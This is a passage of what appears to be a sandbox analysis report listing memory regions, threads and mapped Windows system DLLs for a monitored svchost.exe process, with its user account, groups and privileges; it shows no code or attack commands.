	              id = 3855
	        start_va = 0x7ffc006c0000
	          end_va = 0x7ffc006e7fff
	     entry_point = 0x7ffc006c0000
	     region_type = mapped_file
	            name = "bcrypt.dll"
	        filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll")

Region:
	              id = 3856
	        start_va = 0x7ffc006f0000
	          end_va = 0x7ffc0075afff
	     entry_point = 0x7ffc006f0000
	     region_type = mapped_file
	            name = "bcryptprimitives.dll"
	        filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll")

Region:
	              id = 3857
	        start_va = 0x7ffc008a0000
	          end_va = 0x7ffc008e9fff
	     entry_point = 0x7ffc008a0000
	     region_type = mapped_file
	            name = "powrprof.dll"
	        filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll")

Region:
	              id = 3858
	        start_va = 0x7ffc008f0000
	          end_va = 0x7ffc00902fff
	     entry_point = 0x7ffc008f0000
	     region_type = mapped_file
	            name = "profapi.dll"
	        filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")

Region:
	              id = 3859
	        start_va = 0x7ffc00910000
	          end_va = 0x7ffc0091efff
	     entry_point = 0x7ffc00910000
	     region_type = mapped_file
	            name = "kernel.appcore.dll"
	        filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll")

Region:
	              id = 3860
	        start_va = 0x7ffc00940000
	          end_va = 0x7ffc00f67fff
	     entry_point = 0x7ffc00940000
	     region_type = mapped_file
	            name = "windows.storage.dll"
	        filename = "\\Windows\\System32\\windows.storage.dll" (normalized: "c:\\windows\\system32\\windows.storage.dll")

Region:
	              id = 3861
	        start_va = 0x7ffc00fc0000
	          end_va = 0x7ffc01072fff
	     entry_point = 0x7ffc00fc0000
	     region_type = mapped_file
	            name = "shcore.dll"
	        filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll")

Region:
	              id = 3862
	        start_va = 0x7ffc01360000
	          end_va = 0x7ffc0153cfff
	     entry_point = 0x7ffc01360000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")

Region:
	              id = 3863
	        start_va = 0x7ffc01540000
	          end_va = 0x7ffc015e4fff
	     entry_point = 0x7ffc01540000
	     region_type = mapped_file
	            name = "clbcatq.dll"
	        filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll")

Region:
	              id = 3864
	        start_va = 0x7ffc01640000
	          end_va = 0x7ffc016e5fff
	     entry_point = 0x7ffc01640000
	     region_type = mapped_file
	            name = "advapi32.dll"
	        filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")

Region:
	              id = 3865
	        start_va = 0x7ffc018a0000
	          end_va = 0x7ffc01b1bfff
	     entry_point = 0x7ffc018a0000
	     region_type = mapped_file
	            name = "combase.dll"
	        filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll")

Region:
	              id = 3866
	        start_va = 0x7ffc01dd0000
	          end_va = 0x7ffc01ef5fff
	     entry_point = 0x7ffc01dd0000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")

Region:
	              id = 3867
	        start_va = 0x7ffc01f00000
	          end_va = 0x7ffc0204dfff
	     entry_point = 0x7ffc01f00000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")

Region:
	              id = 3868
	        start_va = 0x7ffc02060000
	          end_va = 0x7ffc020fcfff
	     entry_point = 0x7ffc02060000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")

Region:
	              id = 3869
	        start_va = 0x7ffc02100000
	          end_va = 0x7ffc0215afff
	     entry_point = 0x7ffc02100000
	     region_type = mapped_file
	            name = "sechost.dll"
	        filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")

Region:
	              id = 3870
	        start_va = 0x7ffc037f0000
	          end_va = 0x7ffc03974fff
	     entry_point = 0x7ffc037f0000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")

Region:
	              id = 3871
	        start_va = 0x7ffc03a50000
	          end_va = 0x7ffc03aa0fff
	     entry_point = 0x7ffc03a50000
	     region_type = mapped_file
	            name = "shlwapi.dll"
	        filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll")

Region:
	              id = 3872
	        start_va = 0x7ffc03d00000
	          end_va = 0x7ffc03dbdfff
	     entry_point = 0x7ffc03d00000
	     region_type = mapped_file
	            name = "oleaut32.dll"
	        filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")

Region:
	              id = 3873
	        start_va = 0x7ffc03dc0000
	          end_va = 0x7ffc03e6cfff
	     entry_point = 0x7ffc03dc0000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")

Region:
	              id = 3874
	        start_va = 0x7ffc03e70000
	          end_va = 0x7ffc04031fff
	     entry_point = 0x7ffc03e70000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")


Thread:
	id = 418
	os_tid = 0xbfc


Thread:
	id = 419
	os_tid = 0xa40


Thread:
	id = 420
	os_tid = 0xa0c


Thread:
	id = 421
	os_tid = 0x984


Thread:
	id = 422
	os_tid = 0x978


Thread:
	id = 423
	os_tid = 0x6e0


Thread:
	id = 424
	os_tid = 0x6dc


Thread:
	id = 425
	os_tid = 0x6d8


Thread:
	id = 426
	os_tid = 0x60c


Thread:
	id = 468
	os_tid = 0xf0c


Thread:
	id = 469
	os_tid = 0xfb0


Process:
	id = "21"
	image_name = "svchost.exe"
	filename = "c:\\windows\\system32\\svchost.exe"
	page_root = "0x609000"
	os_pid = "0xee8"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "8"
	os_parent_pid = "0x1e4"
	cmd_line = "C:\\Windows\\system32\\svchost.exe -k UnistackSvcGroup"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "LHNIWSJ\\CIiHmnxMn6Ps"
	os_groups = "LHNIWSJ\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001714b" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]

Region:
	              id = 2787
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 2788
	        start_va = 0x5ce3250000
	          end_va = 0x5ce325ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000005ce3250000"
	        filename = ""

Region:
	              id = 2789
	        start_va = 0x5ce3260000
	          end_va = 0x5ce3260fff
	     entry_point = 0x5ce3260000
	     region_type = mapped_file
	            name = "svchost.exe.mui"
	        filename = "\\Windows\\System32\\en-US\\svchost.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\svchost.exe.mui")

Region:
	              id = 2790
	        start_va = 0x5ce3270000
	          end_va = 0x5ce3283fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000005ce3270000"
	        filename = ""

Region:
	              id = 2791
	        start_va = 0x5ce3290000
	          end_va = 0x5ce330ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005ce3290000"
	        filename = ""

Region:
	              id = 2792
	        start_va = 0x5ce3310000
	          end_va = 0x5ce3313fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000005ce3310000"
	        filename = ""

Region:
	              id = 2793
	        start_va = 0x5ce3320000
	          end_va = 0x5ce3320fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000005ce3320000"
	        filename = ""

Region:
	              id = 2794
	        start_va = 0x5ce3330000
	          end_va = 0x5ce3331fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005ce3330000"
	        filename = ""

Region:
	              id = 2795
	        start_va = 0x5ce3340000
	          end_va = 0x5ce33fdfff
	     entry_point = 0x5ce3340000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 2796
	        start_va = 0x5ce3400000
	          end_va = 0x5ce3400fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005ce3400000"
	        filename = ""

Region:
	              id = 2797
	        start_va = 0x5ce3410000
	          end_va = 0x5ce3416fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005ce3410000"
	        filename = ""

Region:
	              id = 2798
	        start_va = 0x5ce3420000
	          end_va = 0x5ce349ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005ce3420000"
	        filename = ""

Region:
	              id = 2799
	        start_va = 0x5ce34a0000
	          end_va = 0x5ce34a0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005ce34a0000"
	        filename = ""

Region:
	              id = 2800
	        start_va = 0x5ce34b0000
	          end_va = 0x5ce34b0fff
	     entry_point = 0x5ce34b0000
	     region_type = mapped_file
	            name = "phoneutilres.dll"
	        filename = "\\Windows\\System32\\PhoneutilRes.dll" (normalized: "c:\\windows\\system32\\phoneutilres.dll")

Region:
	              id = 2801
	        start_va = 0x5ce34d0000
	          end_va = 0x5ce34d0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000005ce34d0000"
	        filename = ""

Region:
	              id = 2802
	        start_va = 0x5ce34e0000
	          end_va = 0x5ce34e0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000005ce34e0000"
	        filename = ""

Region:
	              id = 2803
	        start_va = 0x5ce34f0000
	          end_va = 0x5ce34f0fff
	     entry_point = 0x5ce34f0000
	     region_type = mapped_file
	            name = "syncres.dll"
	        filename = "\\Windows\\System32\\SyncRes.dll" (normalized: "c:\\windows\\system32\\syncres.dll")

Region:
	              id = 2804
	        start_va = 0x5ce3500000
	          end_va = 0x5ce35fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005ce3500000"
	        filename = ""

Region:
	              id = 2805
	        start_va = 0x5ce3600000
	          end_va = 0x5ce3787fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000005ce3600000"
	        filename = ""

Region:
	              id = 2806
	        start_va = 0x5ce3790000
	          end_va = 0x5ce37b9fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000005ce3790000"
	        filename = ""

Region:
	              id = 2807
	        start_va = 0x5ce37e0000
	          end_va = 0x5ce37e6fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005ce37e0000"
	        filename = ""

Region:
	              id = 2808
	        start_va = 0x5ce3800000
	          end_va = 0x5ce38fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005ce3800000"
	        filename = ""

Region:
	              id = 2809
	        start_va = 0x5ce3900000
	          end_va = 0x5ce3a80fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000005ce3900000"
	        filename = ""

Region:
	              id = 2810
	        start_va = 0x5ce3a90000
	          end_va = 0x5ce4e8ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000005ce3a90000"
	        filename = ""

Region:
	              id = 2811
	        start_va = 0x5ce4e90000
	          end_va = 0x5ce4f8ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005ce4e90000"
	        filename = ""

Region:
	              id = 2812
	        start_va = 0x5ce4f90000
	          end_va = 0x5ce508ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005ce4f90000"
	        filename = ""

Region:
	              id = 2813
	        start_va = 0x5ce5090000
	          end_va = 0x5ce518ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005ce5090000"
	        filename = ""

Region:
	              id = 2814
	        start_va = 0x5ce5190000
	          end_va = 0x5ce528ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005ce5190000"
	        filename = ""

Region:
	              id = 2815
	        start_va = 0x5ce5290000
	          end_va = 0x5ce55c6fff
	     entry_point = 0x5ce5290000
	     region_type = mapped_file
	            name = "sortdefault.nls"
	        filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")

Region:
	              id = 2816
	        start_va = 0x7df5ffc30000
	          end_va = 0x7ff5ffc2ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007df5ffc30000"
	        filename = ""

Region:
	              id = 2817
	        start_va = 0x7ff7b31e0000
	          end_va = 0x7ff7b32dffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007ff7b31e0000"
	        filename = ""

Region:
	              id = 2818
	        start_va = 0x7ff7b32e0000
	          end_va = 0x7ff7b3302fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007ff7b32e0000"
	        filename = ""

Region:
	              id = 2819
	        start_va = 0x7ff7b3304000
	          end_va = 0x7ff7b3305fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3304000"
	        filename = ""

Region:
	              id = 2820
	        start_va = 0x7ff7b3306000
	          end_va = 0x7ff7b3307fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3306000"
	        filename = ""

Region:
	              id = 2821
	        start_va = 0x7ff7b3308000
	          end_va = 0x7ff7b3309fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3308000"
	        filename = ""

Region:
	              id = 2822
	        start_va = 0x7ff7b330a000
	          end_va = 0x7ff7b330afff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b330a000"
	        filename = ""

Region:
	              id = 2823
	        start_va = 0x7ff7b330c000
	          end_va = 0x7ff7b330dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b330c000"
	        filename = ""

Region:
	              id = 2824
	        start_va = 0x7ff7b330e000
	          end_va = 0x7ff7b330ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b330e000"
	        filename = ""

Region:
	              id = 2825
	        start_va = 0x7ff7b3dc0000
	          end_va = 0x7ff7b3dccfff
	     entry_point = 0x7ff7b3dc0000
	     region_type = mapped_file
	            name = "svchost.exe"
	        filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe")

Region:
	              id = 2826
	        start_va = 0x7ffbea660000
	          end_va = 0x7ffbea680fff
	     entry_point = 0x7ffbea660000
	     region_type = mapped_file
	            name = "userdatatimeutil.dll"
	        filename = "\\Windows\\System32\\UserDataTimeUtil.dll" (normalized: "c:\\windows\\system32\\userdatatimeutil.dll")

Region:
	              id = 2827
	        start_va = 0x7ffbea690000
	          end_va = 0x7ffbea6a0fff
	     entry_point = 0x7ffbea690000
	     region_type = mapped_file
	            name = "userdatalanguageutil.dll"
	        filename = "\\Windows\\System32\\UserDataLanguageUtil.dll" (normalized: "c:\\windows\\system32\\userdatalanguageutil.dll")

Region:
	              id = 2828
	        start_va = 0x7ffbea6b0000
	          end_va = 0x7ffbea6e5fff
	     entry_point = 0x7ffbea6b0000
	     region_type = mapped_file
	            name = "accountaccessor.dll"
	        filename = "\\Windows\\System32\\accountaccessor.dll" (normalized: "c:\\windows\\system32\\accountaccessor.dll")

Region:
	              id = 2829
	        start_va = 0x7ffbea6f0000
	          end_va = 0x7ffbea6fffff
	     entry_point = 0x7ffbea6f0000
	     region_type = mapped_file
	            name = "aphostclient.dll"
	        filename = "\\Windows\\System32\\APHostClient.dll" (normalized: "c:\\windows\\system32\\aphostclient.dll")

Region:
	              id = 2830
	        start_va = 0x7ffbea700000
	          end_va = 0x7ffbea73ffff
	     entry_point = 0x7ffbea700000
	     region_type = mapped_file
	            name = "cemapi.dll"
	        filename = "\\Windows\\System32\\cemapi.dll" (normalized: "c:\\windows\\system32\\cemapi.dll")

Region:
	              id = 2831
	        start_va = 0x7ffbea8d0000
	          end_va = 0x7ffbea93bfff
	     entry_point = 0x7ffbea8d0000
	     region_type = mapped_file
	            name = "synccontroller.dll"
	        filename = "\\Windows\\System32\\SyncController.dll" (normalized: "c:\\windows\\system32\\synccontroller.dll")

Region:
	              id = 2832
	        start_va = 0x7ffbea970000
	          end_va = 0x7ffbea97cfff
	     entry_point = 0x7ffbea970000
	     region_type = mapped_file
	            name = "inproclogger.dll"
	        filename = "\\Windows\\System32\\InprocLogger.dll" (normalized: "c:\\windows\\system32\\inproclogger.dll")

Region:
	              id = 2833
	        start_va = 0x7ffbea980000
	          end_va = 0x7ffbea9c0fff
	     entry_point = 0x7ffbea980000
	     region_type = mapped_file
	            name = "phoneutil.dll"
	        filename = "\\Windows\\System32\\Phoneutil.dll" (normalized: "c:\\windows\\system32\\phoneutil.dll")

Region:
	              id = 2834
	        start_va = 0x7ffbea9d0000
	          end_va = 0x7ffbeab40fff
	     entry_point = 0x7ffbea9d0000
	     region_type = mapped_file
	            name = "pimstore.dll"
	        filename = "\\Windows\\System32\\Pimstore.dll" (normalized: "c:\\windows\\system32\\pimstore.dll")

Region:
	              id = 2835
	        start_va = 0x7ffbeab50000
	          end_va = 0x7ffbeab96fff
	     entry_point = 0x7ffbeab50000
	     region_type = mapped_file
	            name = "syncutil.dll"
	        filename = "\\Windows\\System32\\syncutil.dll" (normalized: "c:\\windows\\system32\\syncutil.dll")

Region:
	              id = 2836
	        start_va = 0x7ffbeaba0000
	          end_va = 0x7ffbeabaafff
	     entry_point = 0x7ffbeaba0000
	     region_type = mapped_file
	            name = "mccspal.dll"
	        filename = "\\Windows\\System32\\MCCSPal.dll" (normalized: "c:\\windows\\system32\\mccspal.dll")

Region:
	              id = 2837
	        start_va = 0x7ffbeabb0000
	          end_va = 0x7ffbeabc5fff
	     entry_point = 0x7ffbeabb0000
	     region_type = mapped_file
	            name = "userdataplatformhelperutil.dll"
	        filename = "\\Windows\\System32\\UserDataPlatformHelperUtil.dll" (normalized: "c:\\windows\\system32\\userdataplatformhelperutil.dll")

Region:
	              id = 2838
	        start_va = 0x7ffbeabd0000
	          end_va = 0x7ffbeabe6fff
	     entry_point = 0x7ffbeabd0000
	     region_type = mapped_file
	            name = "networkhelper.dll"
	        filename = "\\Windows\\System32\\networkhelper.dll" (normalized: "c:\\windows\\system32\\networkhelper.dll")

Region:
	              id = 2839
	        start_va = 0x7ffbeac40000
	          end_va = 0x7ffbeac8dfff
	     entry_point = 0x7ffbeac40000
	     region_type = mapped_file
	            name = "aphostservice.dll"
	        filename = "\\Windows\\System32\\APHostService.dll" (normalized: "c:\\windows\\system32\\aphostservice.dll")

Region:
	              id = 2840
	        start_va = 0x7ffbf27c0000
	          end_va = 0x7ffbf2807fff
	     entry_point = 0x7ffbf27c0000
	     region_type = mapped_file
	            name = "vaultcli.dll"
	        filename = "\\Windows\\System32\\vaultcli.dll" (normalized: "c:\\windows\\system32\\vaultcli.dll")

Region:
	              id = 2841
	        start_va = 0x7ffbf4ae0000
	          end_va = 0x7ffbf4ba5fff
	     entry_point = 0x7ffbf4ae0000
	     region_type = mapped_file
	            name = "tokenbroker.dll"
	        filename = "\\Windows\\System32\\TokenBroker.dll" (normalized: "c:\\windows\\system32\\tokenbroker.dll")

Region:
	              id = 2842
	        start_va = 0x7ffbf5340000
	          end_va = 0x7ffbf534bfff
	     entry_point = 0x7ffbf5340000
	     region_type = mapped_file
	            name = "dsclient.dll"
	        filename = "\\Windows\\System32\\dsclient.dll" (normalized: "c:\\windows\\system32\\dsclient.dll")

Region:
	              id = 2843
	        start_va = 0x7ffbf5350000
	          end_va = 0x7ffbf5360fff
	     entry_point = 0x7ffbf5350000
	     region_type = mapped_file
	            name = "userdatatypehelperutil.dll"
	        filename = "\\Windows\\System32\\UserDataTypeHelperUtil.dll" (normalized: "c:\\windows\\system32\\userdatatypehelperutil.dll")

Region:
	              id = 2844
	        start_va = 0x7ffbf5460000
	          end_va = 0x7ffbf58c9fff
	     entry_point = 0x7ffbf5460000
	     region_type = mapped_file
	            name = "actxprxy.dll"
	        filename = "\\Windows\\System32\\actxprxy.dll" (normalized: "c:\\windows\\system32\\actxprxy.dll")

Region:
	              id = 2845
	        start_va = 0x7ffbf69e0000
	          end_va = 0x7ffbf6a06fff
	     entry_point = 0x7ffbf69e0000
	     region_type = mapped_file
	            name = "idstore.dll"
	        filename = "\\Windows\\System32\\IDStore.dll" (normalized: "c:\\windows\\system32\\idstore.dll")

Region:
	              id = 2846
	        start_va = 0x7ffbf7160000
	          end_va = 0x7ffbf7441fff
	     entry_point = 0x7ffbf7160000
	     region_type = mapped_file
	            name = "esent.dll"
	        filename = "\\Windows\\System32\\esent.dll" (normalized: "c:\\windows\\system32\\esent.dll")

Region:
	              id = 2847
	        start_va = 0x7ffbf9380000
	          end_va = 0x7ffbf96f5fff
	     entry_point = 0x7ffbf9380000
	     region_type = mapped_file
	            name = "iertutil.dll"
	        filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll")

Region:
	              id = 2848
	        start_va = 0x7ffbf9d80000
	          end_va = 0x7ffbf9d9bfff
	     entry_point = 0x7ffbf9d80000
	     region_type = mapped_file
	            name = "samlib.dll"
	        filename = "\\Windows\\System32\\samlib.dll" (normalized: "c:\\windows\\system32\\samlib.dll")

Region:
	              id = 2849
	        start_va = 0x7ffbfbb40000
	          end_va = 0x7ffbfbc15fff
	     entry_point = 0x7ffbfbb40000
	     region_type = mapped_file
	            name = "winhttp.dll"
	        filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll")

Region:
	              id = 2850
	        start_va = 0x7ffbfcbc0000
	          end_va = 0x7ffbfccf0fff
	     entry_point = 0x7ffbfcbc0000
	     region_type = mapped_file
	            name = "wintypes.dll"
	        filename = "\\Windows\\System32\\WinTypes.dll" (normalized: "c:\\windows\\system32\\wintypes.dll")

Region:
	              id = 2851
	        start_va = 0x7ffbfdc20000
	          end_va = 0x7ffbfdc37fff
	     entry_point = 0x7ffbfdc20000
	     region_type = mapped_file
	            name = "nlaapi.dll"
	        filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll")

Region:
	              id = 2852
	        start_va = 0x7ffbfe5c0000
	          end_va = 0x7ffbfe5d2fff
	     entry_point = 0x7ffbfe5c0000
	     region_type = mapped_file
	            name = "wtsapi32.dll"
	        filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll")

Region:
	              id = 2853
	        start_va = 0x7ffbffbe0000
	          end_va = 0x7ffbffc11fff
	     entry_point = 0x7ffbffbe0000
	     region_type = mapped_file
	            name = "ntmarta.dll"
	        filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll")

Region:
	              id = 2854
	        start_va = 0x7ffbffdc0000
	          end_va = 0x7ffbffdf2fff
	     entry_point = 0x7ffbffdc0000
	     region_type = mapped_file
	            name = "rsaenh.dll"
	        filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")

Region:
	              id = 2855
	        start_va = 0x7ffbffeb0000
	          end_va = 0x7ffbffecefff
	     entry_point = 0x7ffbffeb0000
	     region_type = mapped_file
	            name = "userenv.dll"
	        filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll")

Region:
	              id = 2856
	        start_va = 0x7ffc000a0000
	          end_va = 0x7ffc000aafff
	     entry_point = 0x7ffc000a0000
	     region_type = mapped_file
	            name = "ntlmshared.dll"
	        filename = "\\Windows\\System32\\NtlmShared.dll" (normalized: "c:\\windows\\system32\\ntlmshared.dll")

Region:
	              id = 2857
	        start_va = 0x7ffc000b0000
	          end_va = 0x7ffc0010efff
	     entry_point = 0x7ffc000b0000
	     region_type = mapped_file
	            name = "msv1_0.dll"
	        filename = "\\Windows\\System32\\msv1_0.dll" (normalized: "c:\\windows\\system32\\msv1_0.dll")

Region:
	              id = 2858
	        start_va = 0x7ffc00170000
	          end_va = 0x7ffc00186fff
	     entry_point = 0x7ffc00170000
	     region_type = mapped_file
	            name = "cryptsp.dll"
	        filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")

Region:
	              id = 2859
	        start_va = 0x7ffc002c0000
	          end_va = 0x7ffc002d3fff
	     entry_point = 0x7ffc002c0000
	     region_type = mapped_file
	            name = "cryptdll.dll"
	        filename = "\\Windows\\System32\\cryptdll.dll" (normalized: "c:\\windows\\system32\\cryptdll.dll")

Region:
	              id = 2860
	        start_va = 0x7ffc002e0000
	          end_va = 0x7ffc002eafff
	     entry_point = 0x7ffc002e0000
	     region_type = mapped_file
	            name = "cryptbase.dll"
	        filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll")

Region:
	              id = 2861
	        start_va = 0x7ffc004c0000
	          end_va = 0x7ffc004ebfff
	     entry_point = 0x7ffc004c0000
	     region_type = mapped_file
	            name = "sspicli.dll"
	        filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll")

Region:
	              id = 2862
	        start_va = 0x7ffc006c0000
	          end_va = 0x7ffc006e7fff
	     entry_point = 0x7ffc006c0000
	     region_type = mapped_file
	            name = "bcrypt.dll"
	        filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll")

Region:
	              id = 2863
	        start_va = 0x7ffc006f0000
	          end_va = 0x7ffc0075afff
	     entry_point = 0x7ffc006f0000
	     region_type = mapped_file
	            name = "bcryptprimitives.dll"
	        filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll")

Region:
	              id = 2864
	        start_va = 0x7ffc008a0000
	          end_va = 0x7ffc008e9fff
	     entry_point = 0x7ffc008a0000
	     region_type = mapped_file
	            name = "powrprof.dll"
	        filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll")

Region:
	              id = 2865
	        start_va = 0x7ffc008f0000
	          end_va = 0x7ffc00902fff
	     entry_point = 0x7ffc008f0000
	     region_type = mapped_file
	            name = "profapi.dll"
	        filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")

Region:
	              id = 2866
	        start_va = 0x7ffc00910000
	          end_va = 0x7ffc0091efff
	     entry_point = 0x7ffc00910000
	     region_type = mapped_file
	            name = "kernel.appcore.dll"
	        filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll")

Region:
	              id = 2867
	        start_va = 0x7ffc00920000
	          end_va = 0x7ffc00930fff
	     entry_point = 0x7ffc00920000
	     region_type = mapped_file
	            name = "msasn1.dll"
	        filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll")

Region:
	              id = 2868
	        start_va = 0x7ffc00fc0000
	          end_va = 0x7ffc01072fff
	     entry_point = 0x7ffc00fc0000
	     region_type = mapped_file
	            name = "shcore.dll"
	        filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll")

Region:
	              id = 2869
	        start_va = 0x7ffc01190000
	          end_va = 0x7ffc01350fff
	     entry_point = 0x7ffc01190000
	     region_type = mapped_file
	            name = "crypt32.dll"
	        filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll")

Region:
	              id = 2870
	        start_va = 0x7ffc01360000
	          end_va = 0x7ffc0153cfff
	     entry_point = 0x7ffc01360000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")

Region:
	              id = 2871
	        start_va = 0x7ffc01540000
	          end_va = 0x7ffc015e4fff
	     entry_point = 0x7ffc01540000
	     region_type = mapped_file
	            name = "clbcatq.dll"
	        filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll")

Region:
	              id = 2872
	        start_va = 0x7ffc015f0000
	          end_va = 0x7ffc01625fff
	     entry_point = 0x7ffc015f0000
	     region_type = mapped_file
	            name = "imm32.dll"
	        filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")

Region:
	              id = 2873
	        start_va = 0x7ffc01640000
	          end_va = 0x7ffc016e5fff
	     entry_point = 0x7ffc01640000
	     region_type = mapped_file
	            name = "advapi32.dll"
